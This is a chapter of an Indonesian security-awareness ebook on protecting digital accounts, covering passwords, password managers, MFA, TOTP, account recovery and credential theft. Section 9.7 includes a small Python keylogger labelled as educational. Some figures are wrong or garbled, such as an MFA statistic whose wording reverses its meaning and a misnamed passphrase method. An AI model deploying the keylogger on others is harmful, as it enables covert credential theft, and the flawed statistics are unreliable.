ABDURROZAK
ABDURROZAK.MY.ID // EBOOK

BAB 09 - AKUN DIGITAL

GARDE TERDEPAN PERTAHANAN IDENTITAS ANDA
10 SUB-BAB ~85 MENIT BACA FASE 2 - KONSEP LEVEL: MENENGAH

PENGANTAR BAB

Setelah memahami fondasi keamanan informasi di Bab 08, kini kita masuk ke bab yang paling personal dan praktis: mengamankan akun digital Anda sendiri. Di era ketika rata-rata orang memiliki 100+ akun online (Nordpass 2024), mengelola identitas digital adalah keterampilan survival yang wajib dikuasai.

Menurut Verizon DBIR 2024, credential attacks (serangan berbasis kredensial) terlibat dalam 49% breach, menjadikannya vektor serangan paling umum. Password lemah, reused, atau stolen masih menjadi pintu masuk utama bagi penyerang ke jaringan dan data sensitif.

Bab ini akan membekali Anda dengan pengetahuan dan praktik langsung untuk mengamankan setiap akun digital Anda - dari password yang kuat, MFA, password manager, hingga audit keamanan akun secara menyeluruh. Setelah bab ini, Anda akan memiliki sistem pertahanan identitas yang solid.

100+
AKUN PER ORANG (2024)
Nordpass
49%
BREACH VIA CREDENTIAL
Verizon DBIR 2024
0.2s
WAKTU CRACK "123456"
Security.org
99.9%
AKUN OTOMATIS DI-BYPASS JIKA PAKAI MFA
Microsoft 2024
TUJUAN PEMBELAJARAN
  • Memahami konsep identitas dan akun digital
  • Membuat dan mengelola password yang kuat
  • Menggunakan password manager dengan efektif
  • Mengimplementasikan Multi-Factor Authentication
  • Memahami cara kerja OTP dan authenticator apps
  • Mengamankan proses account recovery
  • Mendeteksi dan mencegah credential theft
  • Memahami serangan brute force dan credential stuffing
  • Mencegah account takeover (ATO)
  • Melakukan audit keamanan akun secara mandiri
9.1

IDENTITAS & AKUN DIGITAL

Identitas digital adalah representasi elektronik dari seseorang di dunia maya, sementara akun digital adalah entitas yang memungkinkan identitas tersebut mengakses layanan tertentu. Memahami perbedaan dan hubungan keduanya adalah fondasi keamanan akun.

Definisi

NIST SP 800-63A

"Digital identity is the unique representation of a subject engaged in an online transaction."

- NIST SP 800-63A, Enrollment and Identity Proofing

ISO/IEC 24760-1

"A set of attributes related to an entity that uniquely distinguishes that entity within the context of an identity ecosystem."

Komponen Identitas Digital

Identitas digital terdiri dari beberapa atribut yang bersama-sama membentuk representasi unik seseorang:

ANIMASI: KOMPONEN IDENTITAS DIGITAL
DIGITAL IDENTITY BIOMETRIK KREDENSIAL DATA PRIBADI PERILAKU PERANGKAT SOSIAL
KOMPONENDESKRIPSICONTOH
Biometrik Karakteristik fisik unik Sidik jari, wajah, iris, suara
Kredensial Data autentikasi Username, password, PIN, token
Data Pribadi Informasi personal Nama, email, NIK, tanggal lahir
Perilaku Pola aktivitas Login time, lokasi, device, typing pattern
Perangkat Device yang digunakan Device ID, browser fingerprint, IP
Sosial Relasi dan reputasi Friends, followers, reviews, reputation

Identitas vs Akun

ASPEKIDENTITAS DIGITALAKUN DIGITAL
Definisi Representasi diri di dunia digital Entitas untuk akses layanan tertentu
Cakupan Menyeluruh (semua atribut) Spesifik per layanan
Jumlah Satu identitas inti Banyak akun (100+ per orang)
Contoh "Abdur Rozak" secara digital akun Gmail, Instagram, BCA, dll
Kontrol Anda kontrol penuh Platform punya kebijakan

Level of Assurance (LoA)

NIST mendefinisikan Level of Assurance (LoA) - tingkat kepercayaan terhadap identitas digital:

LEVELDESKRIPSICONTOH
IAL1 Self-asserted, no proofing Signup email biasa
IAL2 Remote proofing dengan evidence Verifikasi KTP online
IAL3 In-person proofing Verifikasi di bank dengan tatap muka
ANALOGI: IDENTITAS = KTP, AKUN = KUNCI
  • Identitas digital = KTP Anda (satu, unik, merepresentasikan Anda)
  • Akun digital = kunci untuk berbagai pintu (rumah, kantor, mobil, brankas)
  • Username = label di kunci ("Kunci Rumah")
  • Password = bentuk gigi kunci yang unik
  • MFA = kunci + PIN + sidik jari untuk pintu yang sama

Jika KTP Anda dicuri, semua kunci bisa dibuat palsu. Jika satu kunci hilang, hanya satu pintu yang terpengaruh. Inilah mengapa password reuse sangat berbahaya - sama seperti membuat semua kunci dengan bentuk yang sama.

Identity Lifecycle

REGISTRATION
Pendaftaran
VERIFICATION
Verifikasi identitas
AUTHENTICATION
Login berkala
AUTHORIZATION
Hak akses
AUDIT
Monitoring
DEPROVISION
Penghapusan
PRINSIP: SATU IDENTITAS, BANYAK AKUN

Identitas digital Anda adalah aset paling berharga di era digital. Satu identitas yang bocor dapat membahayakan semua akun yang terhubung. Inilah mengapa:

  • Proteksi identitas = prioritas utama
  • Setiap akun harus punya kredensial unik
  • MFA wajib untuk akun kritis
  • Monitoring aktivitas akun secara berkala
REFERENSI
  • NIST SP 800-63A - Enrollment and Identity Proofing
  • NIST SP 800-63B - Authentication and Lifecycle Management
  • ISO/IEC 24760-1 - A framework for identity management
  • Windley, P.J. (2018). Digital Identity. O'Reilly.
9.2

PASSWORD SECURITY

Password masih menjadi metode autentikasi paling umum di dunia, meskipun memiliki banyak kelemahan. Memahami cara membuat password yang kuat dan bagaimana password diserang adalah keterampilan fundamental.

Standar Modern: NIST SP 800-63B

NIST SP 800-63B (2024)

Rekomendasi terbaru NIST untuk password:

  • Minimal 8 karakter (disarankan 15+ untuk admin)
  • Tidak perlu complexity rules (huruf besar, angka, simbol wajib) - riset menunjukkan ini kontraproduktif
  • Check against breached passwords - tolak password yang sudah bocor
  • Tidak perlu periodic rotation kecuali ada indikasi compromise
  • Allow paste di field password (untuk password manager)
  • Rate limiting untuk mencegah brute force
  • Display password saat input (opsional, untuk user verification)

Entropi Password

Entropi mengukur "kekuatan" password dalam bit. Semakin tinggi entropi, semakin sulit ditebak.

RUMUS ENTROPI
Entropy Formula
E = L × log₂(R)

# Dimana:
# E = Entropy (bits)
# L = Length (panjang password)
# R = Pool size (ukuran kumpulan karakter)

# Pool size berdasarkan jenis karakter:
# Lowercase only: 26
# Lowercase + uppercase: 52
# Lowercase + uppercase + digits: 62
# All printable ASCII: 95

# Contoh:
# Password "password123" (11 chars, pool 62):
E = 11 × log₂(62) = 11 × 5.95 = 65.5 bits

# Password "correct horse battery staple" (25 chars, pool 27):
E = 25 × log₂(27) = 25 × 4.75 = 118.8 bits

Kekuatan Password Berdasarkan Entropi

ENTROPIKEKUATANWAKTU CRACK (GPU)CONTOH
< 28 bits SANGAT LEMAH Instant 123456, password
28-35 bits LEMAH Jam qwerty123
36-59 bits SEDANG Hari - Minggu P@ssw0rd!
60-80 bits KUAT Bulan - Tahun Tr0ub4dor&3
80-128 bits SANGAT KUAT Abad correct-horse-battery-staple
> 128 bits MILITARY-GRADE Tak terhitung Random 20+ chars
ANIMASI: WAKTU CRACK BERBAGAI PASSWORD
"123456" INSTANT "password" 1 JAM "P@ss1234!" 1 MINGGU "k0r3k!api" 1 TAHUN random 16ch ABAD Semakin panjang & random = semakin aman

Passphrase vs Password

Passphrase = rangkaian kata yang mudah diingat tapi sulit ditebak. Metode populer: DICENAME (4 kata acak dari kamus).

METODECONTOHPANJANGENTROPIMUDAH DIINGAT?
Password kompleks Tr0ub4dor&3 11 chars ~65 bits Sulit
Passphrase (DICENAME) correct-horse-battery-staple 25 chars ~118 bits Mudah
ANALOGI: PASSWORD = KUNCI RUMAH
  • Password pendek ("123") = kunci yang bisa dibuka dengan kawat gigi
  • Password kompleks ("P@ss123!") = kunci dengan 5 gigi - masih bisa di-pick
  • Passphrase panjang ("correct horse battery staple") = kunci dengan 20 gigi acak - hampir mustahil di-pick
  • Password reuse = satu kunci untuk semua pintu - jika satu hilang, semua rumah terbuka

Praktik: Password Strength Checker

Python - Password Strength Checker
import math
import re
import hashlib

def calculate_entropy(password):
    """Hitung entropi password dalam bits."""
    pool_size = 0
    if re.search(r'[a-z]', password):
        pool_size += 26
    if re.search(r'[A-Z]', password):
        pool_size += 26
    if re.search(r'[0-9]', password):
        pool_size += 10
    if re.search(r'[^a-zA-Z0-9]', password):
        pool_size += 33
    
    if pool_size == 0:
        return 0
    
    entropy = len(password) * math.log2(pool_size)
    return entropy

def check_password_strength(password):
    """Analisis kekuatan password."""
    entropy = calculate_entropy(password)
    
    # Cek terhadap common passwords
    common = ['123456', 'password', 'qwerty', 'admin', 
              'letmein', 'welcome', 'monkey']
    if password.lower() in common:
        return {
            'strength': 'SANGAT LEMAH',
            'entropy': entropy,
            'crack_time': 'Instant',
            'suggestion': 'Password ada di daftar common passwords!'
        }
    
    # Estimasi waktu crack (asumsi 10 billion guesses/second)
    guesses_per_sec = 10_000_000_000
    total_guesses = 2 ** entropy
    seconds = total_guesses / guesses_per_sec
    
    if seconds < 60:
        crack_time = f"{seconds:.1f} detik"
    elif seconds < 3600:
        crack_time = f"{seconds/60:.1f} menit"
    elif seconds < 86400:
        crack_time = f"{seconds/3600:.1f} jam"
    elif seconds < 86400*30:
        crack_time = f"{seconds/86400:.1f} hari"
    elif seconds < 86400*365:
        crack_time = f"{seconds/(86400*30):.1f} bulan"
    elif seconds < 86400*365*100:
        crack_time = f"{seconds/(86400*365):.1f} tahun"
    else:
        crack_time = "Abad"
    
    # Klasifikasi kekuatan
    if entropy < 28:
        strength = 'SANGAT LEMAH'
    elif entropy < 36:
        strength = 'LEMAH'
    elif entropy < 60:
        strength = 'SEDANG'
    elif entropy < 80:
        strength = 'KUAT'
    elif entropy < 128:
        strength = 'SANGAT KUAT'
    else:
        strength = 'MILITARY-GRADE'
    
    return {
        'strength': strength,
        'entropy': f"{entropy:.1f} bits",
        'length': len(password),
        'crack_time': crack_time
    }

# Contoh penggunaan
passwords = [
    "123456",
    "password",
    "P@ssw0rd!",
    "correct-horse-battery-staple",
    "xK9#mP2$vL5!nQ8@rT4&"
]

for pwd in passwords:
    result = check_password_strength(pwd)
    print(f"\nPassword: {pwd}")
    print(f"  Kekuatan: {result['strength']}")
    print(f"  Entropi: {result['entropy']}")
    print(f"  Waktu crack: {result['crack_time']}")

Password yang HARUS Dihindari

SEQUENTIAL

123456, abcdef, qwerty

PERSONAL INFO

Nama, tanggal lahir, NIK

KEYBOARD PATTERN

qwerty, asdfgh, zxcvbn

DICTIONARY WORDS

password, admin, welcome

REUSED
Password sama di banyak akun
DATE-BASED

Tanggal lahir, tahun penting

ATURAN EMAS PASSWORD
  1. Panjang minimal 12 karakter (disarankan 16+)
  2. Unik untuk setiap akun - JANGAN reuse!
  3. Random atau passphrase - tidak mudah ditebak
  4. Cek di Have I Been Pwned - pastikan belum bocor
  5. Gunakan password manager - tidak perlu ingat semua
  6. Aktifkan MFA - password saja tidak cukup
REFERENSI
  • NIST SP 800-63B - Authentication and Lifecycle Management
  • Security.org - Password Cracking Speeds 2024
  • Have I Been Pwned - Pwned Passwords Database
  • XKCD #936 - Password Strength (correct horse battery staple)
9.3

PASSWORD MANAGER

Password manager adalah aplikasi yang menyimpan, mengelola, dan menggenerate password secara aman. Dengan rata-rata orang memiliki 100+ akun, password manager bukan lagi kemewahan - melainkan kebutuhan.

Mengapa Password Manager?

65%
ORANG REUSE PASSWORD
Nordpass 2024
13%
PAKAI PASSWORD MANAGER
Pew Research
100+
AKUN PER ORANG
Nordpass 2024

Cara Kerja Password Manager

ANIMASI: CARA KERJA PASSWORD MANAGER
USER MASTER PASSWORD ENCRYPTED VAULT AES-256 100+ passwords Gmail Bank BCA Instagram 1 master password -> unlock vault -> akses semua akun

Proses Enkripsi:

  1. Master Password di-hash dengan PBKDF2 atau Argon2 (ribuan iterasi)
  2. Hasil hash jadi encryption key (AES-256)
  3. Semua data di vault dienkripsi lokal di device sebelum sync
  4. Zero-knowledge: provider tidak bisa baca data Anda

Rekomendasi Password Manager

TOOLTIPEHARGAKELEBIHANKEKURANGAN
Bitwarden Cloud + Self-host Free / $10/tahun Open source, audit, self-host UI kurang polished
1Password Cloud only $36/tahun UI excellent, Watchtower, Travel Mode Tidak ada free tier, tidak open source
KeePassXC Local only Free Open source, offline, kontrol penuh Tidak ada sync otomatis
Proton Pass Cloud (Swiss) Free / $12/tahun Privacy-focused, hide-my-email alias Fitur lebih sedikit
NordPass Cloud Free / $36/tahun XChaCha20 encryption, simple UI Proprietary, fitur terbatas

Fitur Penting Password Manager

PASSWORD GENERATOR

Generate password acak yang kuat.

AUTO-FILL

Isi username/password otomatis.

BREACH MONITOR

Alert jika password bocor.

SECURE SHARING

Share password dengan aman.

2FA BUILTIN

Simpan TOTP codes juga.

SECURE NOTES

Simpan data sensitif lain.

Praktik: Install Bitwarden CLI

Bash - Bitwarden CLI
# Install Bitwarden CLI
$ npm install -g @bitwarden/cli

# Login
$ bw login
? Email address: you@example.com
? Master password: [hidden]

# Unlock vault
$ bw unlock
? Master password: [hidden]

# List semua items
$ bw list items
[{"id":"...","name":"Gmail","login":{...}}, ...]

# Cari item spesifik
$ bw list items --search gmail

# Generate password baru
$ bw generate -l -u -n -s 20
xK9#mP2$vL5!nQ8@rT4&

# Buat item baru
$ bw encode << EOF | bw create item
{
  "type": 1,
  "name": "Akun Baru",
  "login": {
    "username": "user@example.com",
    "password": "generated-password-here"
  }
}
EOF

# Export vault (backup)
$ bw export --format encrypted_json

# Logout
$ bw logout
ANALOGI: PASSWORD MANAGER = BRANKAS DIGITAL
  • Brankas = password manager
  • Kombinasi brankas = master password (HANYA ANDA yang tahu)
  • Isi brankas = semua password, 2FA codes, secure notes
  • Lokasi brankas = lokal (KeePass) atau cloud (Bitwarden, 1Password)

Jika kombinasi brankas kuat dan brankas berkualitas, semua isinya aman. Jika kombinasi lemah (misal "1234"), semua isi brankas bisa dibobol.

MASTER PASSWORD = SINGLE POINT OF FAILURE

Master password adalah kunci utama. Jika hilang atau bocor, semua akun Anda terancam. Pastikan:

  • Panjang minimal 20+ karakter atau passphrase
  • Unik - tidak dipakai di tempat lain
  • Diingat - tidak disimpan di tempat lain
  • Backup recovery code disimpan aman (offline, di brankas fisik)
  • Aktifkan MFA untuk password manager itu sendiri
REFERENSI
  • Bitwarden - Security Whitepaper (bitwarden.com/security)
  • 1Password - Security Design Whitepaper
  • NIST SP 800-63B - Memorized Secrets
  • Security.org - Password Manager Comparison 2024
9.4

MULTI-FACTOR AUTHENTICATION

Multi-Factor Authentication (MFA) adalah metode autentikasi yang membutuhkan dua atau lebih faktor verifikasi dari kategori berbeda. MFA adalah kontrol keamanan paling efektif untuk mencegah account takeover - Microsoft mengklaim MFA dapat memblokir 99.9% serangan otomatis.

Tiga Faktor Autentikasi

ANIMASI: 3 FAKTOR AUTENTIKASI
KNOWLEDGE Something you KNOW password, PIN POSSESSION Something you HAVE phone, token INHERENCE Something you ARE biometric MFA = minimal 2 faktor dari kategori BERBEDA
FAKTORDESKRIPSICONTOHKELEBIHANKEKURANGAN
Knowledge Sesuatu yang Anda tahu Password, PIN, security question Mudah diimplementasi Bisa dicuri/ditebak
Possession Sesuatu yang Anda miliki Smartphone, hardware token, smart card Sulit dicuri remote Bisa hilang/dicuri fisik
Inherence Sesuatu yang Anda adalah Sidik jari, wajah, iris, suara Sulit dipalsukan Tidak bisa diganti jika bocor

Jenis-Jenis MFA

JENISFAKTORKEAMANANKEMUDAHAN
SMS OTP Possession (HP) SEDANG (SIM swap risk) Mudah
Email OTP Possession (email) SEDANG Mudah
Authenticator App (TOTP) Possession (app) TINGGI Mudah
Push Notification Possession (app) TINGGI Sangat mudah
Hardware Token (FIDO2/WebAuthn) Possession (device) SANGAT TINGGI Mudah
Biometric Inherence TINGGI Sangat mudah
Backup Codes Possession (code) TINGGI Ribet (backup only)

Phishing-Resistant MFA

Tidak semua MFA sama! Beberapa rentan phishing, beberapa tidak:

MITIGASI ADVERSARY-IN-THE-MIDDLE (AITM)

SMS OTP dan TOTP bisa di-phish! Jika user memasukkan OTP di situs phishing, attacker bisa pakai OTP itu untuk login. Solusi: gunakan phishing-resistant MFA:

  • FIDO2/WebAuthn (YubiKey, Passkeys) - tidak bisa di-phish
  • Push notification dengan number matching - user konfirmasi nomor yang muncul
  • Biometric + device binding - terikat ke device tertentu

MFA Flow

1. USERNAME
Knowledge
2. PASSWORD
Knowledge
3. OTP/PUSH
Possession
4. BIOMETRIC
Inherence
ACCESS GRANTED
3+ faktor

Praktik: Setup TOTP dengan Python

Python - TOTP Implementation
# Install: pip install pyotp qrcode
import pyotp
import qrcode
import time

# 1. Generate secret key untuk user baru
secret = pyotp.random_base32()
print(f"Secret Key: {secret}")

# 2. Buat URI untuk QR code
uri = pyotp.totp.TOTP(secret).provisioning_uri(
    name="user@example.com",
    issuer_name="MyApp"
)
print(f"URI: {uri}")

# 3. Generate QR code
img = qrcode.make(uri)
img.save("totp_qr.png")
print("QR code disimpan di totp_qr.png")
# User scan QR ini dengan Google Authenticator/Authy

# 4. Verifikasi OTP dari user
totp = pyotp.TOTP(secret)
user_otp = "123456"  # dari user
is_valid = totp.verify(user_otp)
print(f"OTP valid: {is_valid}")

# 5. Generate current OTP (untuk testing)
current_otp = totp.now()
print(f"Current OTP: {current_otp}")
print(f"Valid for: {30 - int(time.time()) % 30} seconds")

# 6. Dengan window tolerance (untuk clock drift)
is_valid = totp.verify(user_otp, valid_window=1)
# valid_window=1 artinya terima OTP dari 30 detik sebelum/sesudah
ANALOGI: MFA = BRANKAS DENGAN 3 KUNCI
  • Password saja = brankas dengan 1 kunci - jika kunci dicuri, brankas terbuka
  • MFA 2 faktor = brankas dengan 2 kunci berbeda - butuh keduanya
  • MFA 3 faktor = brankas dengan 3 kunci - hampir mustahil dibuka tanpa semua kunci

Pencuri butuh mencuri password DAN HP Anda DAN sidik jari Anda. Jauh lebih sulit!

REKOMENDASI MFA
  1. WAJIB MFA untuk: email, banking, password manager, medsos utama
  2. Gunakan authenticator app (Google Authenticator, Authy, Aegis) - bukan SMS
  3. Utamakan FIDO2/Passkeys jika tersedia (paling aman)
  4. Backup codes disimpan offline di tempat aman
  5. Review MFA settings berkala di setiap akun
REFERENSI
  • NIST SP 800-63B - Authenticator and Verifier Requirements
  • FIDO Alliance - WebAuthn Specification
  • Microsoft - 99.9% of automated attacks can be stopped with MFA (2024)
  • RFC 6238 - TOTP: Time-Based One-Time Password Algorithm
9.5

OTP & AUTHENTICATOR

OTP (One-Time Password) adalah password yang hanya berlaku satu kali dan dalam waktu terbatas. Setelah digunakan atau kadaluarsa, OTP tidak bisa dipakai lagi. Ini mencegah serangan replay attack.

Jenis OTP

JENISALGORITMABASISCONTOH
HOTP HMAC-based Counter Hardware token, Google Authenticator (legacy)
TOTP Time-based HMAC Waktu (30 detik) Google Authenticator, Authy, Aegis
OCRA Challenge-Response Challenge dari server Banking tokens
SMS OTP Random Server-generated Verifikasi login via SMS
Email OTP Random Server-generated Verifikasi email

Cara Kerja TOTP

ALGORITMA TOTP (RFC 6238)
TOTP Algorithm
TOTP = HMAC(K, T)

# Dimana:
# K = Shared secret (base32 encoded)
# T = Time step = floor((Current Unix time - T0) / X)
#     T0 = Unix time to start (usually 0)
#     X = Time step in seconds (usually 30)
# HMAC = Hash-based Message Authentication Code

# Contoh:
# Secret: JBSWY3DPEHPK3PXP (base32)
# Current time: 2026-09-09 14:32:15 UTC
# Unix time: 1757427135
# Time step: floor(1757427135 / 30) = 58580904
# TOTP: HMAC-SHA1(secret, time_step) -> truncate -> 6 digits
# Result: 482 156

# OTP valid hanya 30 detik!
# Setelah itu, time step berubah, OTP baru dihasilkan
ANIMASI: TOTP - OTP BERUBAH SETIAP 30 DETIK
SECRET KEY JBSWY3DPE... (shared secret) + CURRENT TIME 14:32:15 UTC (30s window) = OTP CODE 482 156 (6 digits) Server & authenticator app hitung OTP yang SAMA secara independen

Authenticator Apps Populer

APPPLATFORMBACKUPOPEN SOURCECATATAN
Aegis Android Encrypted backup Ya Rekomendasi utama untuk Android
Raivo OTP iOS iCloud backup Ya Rekomendasi untuk iOS
2FAS Android, iOS Encrypted cloud Ya Cross-platform, open source
Google Authenticator Android, iOS Cloud sync (2023+) Tidak Populer tapi tidak open source
Authy Multi Cloud backup Tidak Deprecated untuk desktop
Bitwarden Authenticator Multi Integrated Ya Terintegrasi dengan Bitwarden

Kelemahan OTP

CLOCK DRIFT

OTP invalid jika waktu device tidak sinkron.

DEVICE LOST

HP hilang = kehilangan akses 2FA.

PHISHING
OTP bisa di-phish (real-time MITM).
MALWARE

Malware di HP bisa curi OTP.

Best Practices

PRAKTIK TERBAIK OTP
  • Backup codes: simpan offline di tempat aman
  • Multiple authenticator: setup di 2 device berbeda
  • Sync time: pastikan waktu device akurat
  • Export secret: simpan secret key (encrypted) untuk recovery
  • Hardware token untuk akun paling kritis (YubiKey)
  • Review devices yang terdaftar secara berkala
ANALOGI: OTP = SURAT KABAR HARIAN
  • OTP = kata sandi yang dicetak di surat kabar hari ini
  • Hanya berlaku hari ini (30 detik)
  • Besok, kata sandi baru akan dicetak
  • Surat kabar kemarin tidak berguna untuk hari ini

Begitu juga OTP - hanya berlaku sekali dan dalam waktu singkat. Setelah itu, tidak berguna lagi.

REFERENSI
  • RFC 4226 - HOTP: An HMAC-Based One-Time Password Algorithm
  • RFC 6238 - TOTP: Time-Based One-Time Password Algorithm
  • Aegis Authenticator - Documentation (getaegis.net)
  • 2FAS - Open Source 2FA (2fas.com)
9.6

ACCOUNT RECOVERY

Account recovery adalah proses mendapatkan kembali akses ke akun ketika kredensial utama (password, device 2FA) hilang. Ini adalah weakest link di banyak sistem - attacker sering menargetkan recovery process karena biasanya lebih lemah dari autentikasi utama.

Metode Recovery Umum

METODEKEAMANANKELEBIHANKEKURANGAN
Recovery Email SEDANG Mudah, familiar Jika email utama kena, recovery juga kena
Recovery Phone SEDANG Cepat via SMS Rentan SIM swap attack
Backup Codes TINGGI Offline, tidak bergantung network Harus disimpan aman
Security Questions RENDAH Mudah diingat Jawaban bisa di-Google/social engineering
Trusted Contacts SEDANG Social recovery Tergantung orang lain
Hardware Key Recovery TINGGI Phishing-resistant Butuh hardware key cadangan
ANIMASI: ALUR ACCOUNT RECOVERY
LOST ACCESS password/2FA RECOVERY OPTIONS email/phone/code VERIFY IDENTITY OTP/ID doc RESET Lost access -> Recovery option -> Verify identity -> Reset password

Kelemahan Security Questions

JANGAN PAKAI SECURITY QUESTIONS!

Security questions sangat tidak aman dan direkomendasikan untuk dihindari:

  • Jawaban bisa ditebak: "Nama hewan peliharaan pertama" - bisa dicari di medsos
  • Jawaban bisa berubah: "Sekolah dasar" - memori bisa salah
  • Jawaban terbatas: hanya beberapa jawaban mungkin
  • Social engineering: attacker bisa cari jawaban via OSINT

Solusi: jika terpaksa, perlakukan jawaban seperti password - random dan simpan di password manager.

Contoh Security Question yang BURUK vs BAIK
# BURUK - jawaban bisa dicari
Q: "Siapa nama guru SD Anda?"
A: "Bu Siti"  # bisa dicari di Facebook

Q: "Di kota mana Anda lahir?"
A: "Bandung"  # ada di KTP, medsos

# BAIK - perlakukan seperti password
Q: "Siapa nama guru SD Anda?"
A: "xK9#mP2$vL5!"  # random string, simpan di password manager

Q: "Di kota mana Anda lahir?"
A: "correct-horse-battery-staple"  # passphrase

Best Practices Recovery

STRATEGI RECOVERY YANG AMAN
  1. Setup multiple recovery methods: jangan hanya andalkan satu
  2. Backup codes: download & simpan offline (print, brankas)
  3. Recovery email terpisah: email recovery != email utama
  4. Hardware key cadangan: simpan di lokasi aman (safe deposit box)
  5. Update recovery info saat ganti nomor/email
  6. Test recovery process secara berkala
  7. Hindari security questions atau gunakan jawaban random
  8. Trusted contacts: setup untuk akun kritis (Google, Apple)

Praktik: Google Account Recovery Setup

Checklist - Google Account Recovery Setup
# ============================================
# GOOGLE ACCOUNT RECOVERY CHECKLIST
# ============================================

# 1. Recovery Email
[ ] my.recovery.email@gmail.com (email terpisah)
[ ] Email recovery punya MFA aktif
[ ] Password email recovery unik & kuat

# 2. Recovery Phone
[ ] +62 812-xxxx-xxxx (nomor aktif)
[ ] SIM punya PIN aktif
[ ] Kontak operator untuk blokir SIM jika hilang

# 3. Backup Codes
[ ] Download 10 backup codes dari Google
[ ] Print & simpan di brankas rumah
[ ] Simpan encrypted copy di password manager
[ ] Catat tanggal download

# 4. 2FA Methods
[ ] Authenticator app (Aegis/2FAS)
[ ] Hardware key (YubiKey) sebagai backup
[ ] Push notification sebagai opsi ketiga

# 5. Trusted Contacts (jika tersedia)
[ ] Setup 3-5 trusted contacts
[ ] Inform contacts tentang peran mereka
[ ] Test recovery process

# 6. Recovery Info Review
[ ] Review recovery info setiap 6 bulan
[ ] Update jika ganti nomor/email
[ ] Test recovery process tahunan

# 7. Emergency Plan
[ ] Dokumentasi akses untuk keluarga (encrypted)
[ ] Lawyer/kontak darurat untuk akses digital
[ ] Inactive Account Manager (auto-share setelah X bulan)
ANALOGI: RECOVERY = KUNCI CADANGAN RUMAH
  • Password utama = kunci utama rumah
  • Recovery email = kunci cadangan di rumah tetangga
  • Backup codes = kunci cadangan di brankas bank
  • Hardware key = kunci cadangan di safe deposit box
  • Trusted contacts = tetangga yang punya kunci darurat

Jangan simpan semua kunci cadangan di satu tempat! Jika rumah tetangga kebakaran, Anda kehilangan 2 kunci sekaligus. Distribusikan kunci cadangan di berbagai lokasi aman.

REFERENSI
  • Google - Account Recovery Best Practices
  • Microsoft - Account Recovery Options
  • NIST SP 800-63B - Recovery Requirements
  • Apple - Account Recovery & Trusted Contacts
9.7

CREDENTIAL THEFT

Credential theft (pencurian kredensial) adalah proses attacker mendapatkan username, password, atau data autentikasi lainnya secara ilegal. Ini adalah langkah pertama dalam banyak serangan siber - tanpa kredensial, attacker tidak bisa masuk.

Statistik Credential Theft

15B+
KOMBINASI LOGIN BOCOR
Have I Been Pwned
49%
BREACH VIA CREDENTIAL
Verizon DBIR 2024
$150
HARGA AKUN BANK DI DARK WEB
Kaspersky 2024
24h
WAKTU RATA-RATA AKUN DIJUAL
Group-IB 2024

Metode Credential Theft

METODECARA KERJATARGETCONTOH
Phishing Email/situs palsu menipu user Semua Email "bank" minta login
Keylogging Malware catat semua ketikan PC terinfeksi Zeus, DarkTequila
Credential Stuffing Pakai bocoran dari breach lain Akun dengan password reuse Collection #1-5
Brute Force Coba semua kombinasi password Password lemah Hydra, hashcat
Data Breach Database perusahaan dibobol Database user LinkedIn 2021, Tokopedia 2020
Insider Threat Karyawan curi kredensial Internal systems Edward Snowden
Session Hijacking Curi session cookie/token Web session XSS, MITM
Pass-the-Hash Gunakan hash password Windows/AD Mimikatz
Shoulder Surfing Intip password langsung Public places Kafe, bandara
Social Engineering Manipulasi user berikan password Human target Vishing, pretexting
ANIMASI: ALUR CREDENTIAL THEFT
ATTACKER credential theft Phishing Keylogger Breach Stuffing CREDENTIALS user:pass DARK WEB

Keylogger: Contoh Detail

Keylogger adalah malware yang merekam setiap ketikan keyboard. Ada 2 jenis:

  • Hardware keylogger: device fisik yang dipasang di antara keyboard dan PC
  • Software keylogger: malware yang berjalan di background
Python - Contoh Keylogger (EDUKASI SAJA!)
# PERINGATAN: Kode ini hanya untuk edukasi!
# Menggunakan keylogger tanpa izin adalah ILEGAL!

# Install: pip install pynput
from pynput import keyboard

def on_press(key):
    """Dipanggil setiap kali tombol ditekan."""
    try:
        # Karakter normal
        print(f'{key.char}', end='', flush=True)
        # Biasanya dikirim ke server attacker via HTTP/SMTP
    except AttributeError:
        # Special keys (space, enter, shift, dll)
        print(f'[{key}]', end='', flush=True)

def on_release(key):
    """Dipanggil setiap kali tombol dilepas."""
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# Start listener
with keyboard.Listener(
    on_press=on_press,
    on_release=on_release
) as listener:
    listener.join()

# Output: setiap ketikan direkam
# user mengetik: "password123"
# keylogger merekam: "password123"
# lalu dikirim ke attacker via email/HTTP

Pertahanan terhadap Credential Theft

STRATEGI PERTAHANAN
  • Password unik per akun - jika 1 bocor, yang lain aman
  • Password manager - tidak perlu ketik password (anti-keylogger)
  • MFA - password saja tidak cukup
  • Antivirus/EDR - deteksi keylogger & malware
  • Virtual keyboard untuk transaksi sensitif
  • Cek Have I Been Pwned berkala
  • Update OS & aplikasi - patch vulnerability
  • Hati-hati phishing - verifikasi URL & pengirim
  • Browser autofill - tidak ketik manual (anti-shoulder surfing)
  • Network security - HTTPS, hindari Wi-Fi publik untuk login

Praktik: Cek Kebocoran Kredensial

Bash - Cek Have I Been Pwned via API
# Cek email (perlu API key)
$ curl -H "hibp-api-key: YOUR_API_KEY" \
    https://haveibeenpwned.com/api/v3/breachedaccount/you@example.com

# Cek password (tanpa API key, pakai k-Anonymity)
# 1. Hash password dengan SHA-1
$ echo -n "password123" | sha1sum | awk '{print $1}' | tr 'a-z' 'A-Z'
CBFDAC6008F9CAB4083784CBD1874F76618D2A97

# 2. Ambil 5 karakter pertama
$ PREFIX="CBFDA"

# 3. Query API dengan prefix (tidak kirim hash lengkap!)
$ curl https://api.pwnedpasswords.com/range/$PREFIX

# 4. Cek apakah suffix ada di response
# Jika ada, password sudah bocor!
# Response menunjukkan berapa kali password muncul di breaches

# Python script untuk cek password
$ python3 -c "
import hashlib, requests
pwd = input('Password: ')
sha1 = hashlib.sha1(pwd.encode()).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
r = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
for line in r.text.split():
    if line.startswith(suffix):
        print(f'BOCOR! Ditemukan {line.split(\":\")[1]} kali')
        break
else:
    print('Aman - tidak ditemukan di breaches')
"
ANALOGI: CREDENTIAL THEFT = PENCURIAN KUNCI
  • Phishing = tipu Anda agar serahkan kunci sendiri
  • Keylogger = CCTV yang merekam saat Anda pakai kunci
  • Data breach = pabrik kunci kebobolan, semua kunci dicuri
  • Credential stuffing = coba kunci dari rumah lain ke rumah Anda
  • Shoulder surfing = orang di belakang mengintip saat Anda buka pintu
REFERENSI
  • Have I Been Pwned - Breach Database (haveibeenpwned.com)
  • Verizon - Data Breach Investigations Report 2024
  • Kaspersky - Keyloggers: What They Are and How to Protect Against Them
